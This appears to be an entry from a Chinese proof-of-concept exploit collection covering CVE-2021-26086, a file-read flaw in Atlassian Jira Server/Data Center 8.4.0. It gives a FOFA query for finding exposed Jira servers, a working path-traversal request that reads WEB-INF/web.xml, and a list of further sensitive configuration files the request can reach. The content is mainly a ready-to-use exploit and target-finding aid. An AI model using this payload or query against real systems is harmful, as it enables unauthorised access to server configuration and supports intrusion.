Awesome-POC/Web应用漏洞/Atlassian Jira cfx 任意文件读取漏洞 CVE-2021-26086.md

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2022-05-24 17:29:00 +08:00
# Atlassian Jira cfx 任意文件读取漏洞 CVE-2021-26086
## 漏洞描述
Atlassian Jira Server/Data Center 8.4.0 - Limited Remote File Read/Include
## 漏洞影响
```
Atlassian Jira Server/Data Center 8.4.0
```
## FOFA
```
app="ATLASSIAN-JIRA"
```
## 漏洞复现
登录页面
![](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205241424642.png)
验证POC
```
/s/cfx/_/;/WEB-INF/web.xml
```
![](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205241424545.png)
可读取敏感配置文件
```
WEB-INF/web.xml
WEB-INF/decorators.xml
WEB-INF/classes/seraph-config.xml
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
```